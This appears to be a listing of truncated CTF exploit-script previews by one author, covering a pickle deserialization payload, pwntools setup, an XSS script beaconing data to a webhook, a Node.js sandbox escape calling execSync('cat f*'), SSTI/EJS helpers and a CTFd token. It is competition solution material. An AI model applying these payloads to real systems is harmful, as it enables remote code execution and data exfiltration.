lebr0nli

import pickle

smuggled = \
pickle.GLOBAL + b"sandbox\ny\n" + \
pickle.GLOBAL + b"sandbox\n__builtins__\n" + \
pickle.BUILD + \
pickle.GLOBAL + b"sandbox\nbreakpoint\n" + \
pickle.EMPTY_TUPLE + \
pickle.REDUCE

lebr0nli

#!/usr/bin/env python3
from __future__ import annotations
from pwn import *
import ctypes
import typing as T

binary = ELF("./format-muscle")
# libc = ELF("./libc.so.6")
ld = ELF("./ld-musl-x86_64.so.1")

lebr0nli

import httpx
import base64

payload = """
const targetUrl = "https://wwwwwwwwaas.web.actf.co";
const logUrl = "https://<your webhook>";

function log(msg) {
    navigator.sendBeacon(logUrl + '/log?f=' + msg);
}

lebr0nli

import httpx
import time

CHALL_URL = "https://ch1688140851.ch.eng.run"


def share() -> None:
    with httpx.Client(base_url=CHALL_URL) as client:
        try:
            r = client.post("/share", json={"id": "x"}, timeout=1)

lebr0nli

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>

lebr0nli

import base64
import dis
import marshal
import subprocess

from opcode import opmap


def f(): pass

lebr0nli

let code = `
Function=this.constructor.constructor;
Array.prototype.toString=Object.prototype.toString;
Array.prototype[Symbol.toStringTag]="=1];console.log(process.mainModule.constructor._load('child_process').execSync('cat f*')+'');//";
Object.prototype.prepareStackTrace=Function;
e=new Error;
x={toString:e.stack}+'';
`.replaceAll('\n', '').replaceAll('(', '\\x28').replaceAll(')', '\\x29');
console.log(code);
if (process.env.DEBUG) {

lebr0nli

from pwn import *
import secrets

TOKEN = b"ctfd_7aecfde25ac2e3bb7174f6521d3e2e5be0451c0e061db725f66ddbb2cac3738e"
_, HOST, PORT = "nc kshell.balsnctf.com 7122".split()


with remote(HOST, PORT) as io:
    io.sendline(TOKEN)
    token = secrets.token_hex(16)

lebr0nli

from flask import Flask
from base64 import b64encode

CHALL_URL = "http://45.147.229.138:8000/?e="
CHALL_URL = "http://web/?e="

app = Flask(__name__)


@app.route("/")

lebr0nli

from urllib.parse import urlencode

HOST = "http://eeeeejs.seccon.games:3000/"
HOST = "http://localhost:3000/"
HOST = "http://web:3000/"


def html_encode(s):
    return "".join(["&#x" + hex(ord(c))[2:] + ";" for c in s])